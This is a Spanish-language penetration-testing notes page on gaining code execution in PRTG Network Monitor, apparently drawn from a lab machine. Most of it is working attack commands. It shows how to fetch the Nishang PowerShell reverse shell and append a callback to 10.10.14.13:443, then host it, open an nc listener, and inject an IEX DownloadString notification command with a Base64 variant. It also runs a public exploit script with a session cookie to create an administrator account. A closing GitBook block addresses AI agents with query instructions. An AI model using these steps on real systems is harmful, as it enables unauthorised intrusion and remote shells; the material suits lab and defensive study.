> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/prtg-network-monitor-cms-exploitation.md).

# PRTG Network Monitor

<figure><img src="/files/ba0e9c18ddd284824a1f4e1adf8e3247a200ebd9" alt=""><figcaption></figcaption></figure>

## RCE en PRTG Network Monitor

PRTG puede ejecutar acciones de notificación en el servidor. Si una sesión autenticada tiene permiso para crear o modificar notificaciones, el campo de comando de notificación puede ser abusado para ejecutar PowerShell y obtener ejecución de código.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1>" %}

## Método 1 - Abuso manual de notificaciones

Descarga un script de shell inversa de PowerShell en la máquina del atacante:

```bash
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
```

Añade el manejador de callback al script, manteniendo la IP y el puerto del listener alineados con tu entorno:

```bash
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1
```

Aloja el archivo:

```bash
python3 -m http.server 80
```

Inicia un listener:

```bash
rlwrap nc -nvlp 443
```

En PRTG, ve a `Configuración > Ajustes de cuenta > Notificaciones` y crea una nueva acción de notificación que ejecute un programa o script.

<figure><img src="/files/56398d2bda78acae8c4394be851270713c939a61" alt=""><figcaption></figcaption></figure>

Usa el comando de notificación para hacer que el servidor descargue y ejecute el script de PowerShell alojado:

{% code overflow="wrap" %}

```powershell
abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')"
```

{% endcode %}

<figure><img src="/files/da40fa63edf4cacfcc9a0503fddfb55c566b6b4c" alt=""><figcaption></figcaption></figure>

Si la petición llega al servidor web pero la shell inversa no se conecta de vuelta, convierte el script de PowerShell a Base64 UTF-16LE y usa PowerShell `-enc`:

```bash
iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt
```

Luego coloca la carga útil codificada en el comando de notificación:

```powershell
abc.txt | powershell -enc <BASE64_PAYLOAD>
```

<figure><img src="/files/4d5e7a2ff14d1c4066329f12126566d3edcdd601" alt=""><figcaption></figcaption></figure>

## Método 2 - Explotación automatizada

Busca exploits públicos de PRTG Network Monitor y copia el script correspondiente:

```bash
searchsploit -m windows/webapps/46527.sh
```

<figure><img src="/files/de90c29fbfc87d37f66b4d7ad0abaff3c62a67b7" alt=""><figcaption></figcaption></figure>

Ejecuta el script con la URL objetivo y la cookie de sesión autenticada:

{% code overflow="wrap" %}

```bash
./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D"
```

{% endcode %}

El exploit crea un nuevo usuario:

* Nombre de usuario: `pentest`
* Contraseña: `P3nT3st!`

<figure><img src="/files/729a454fa2602c29f5ce5f025389d98304432ecc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/cms/prtg-network-monitor-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
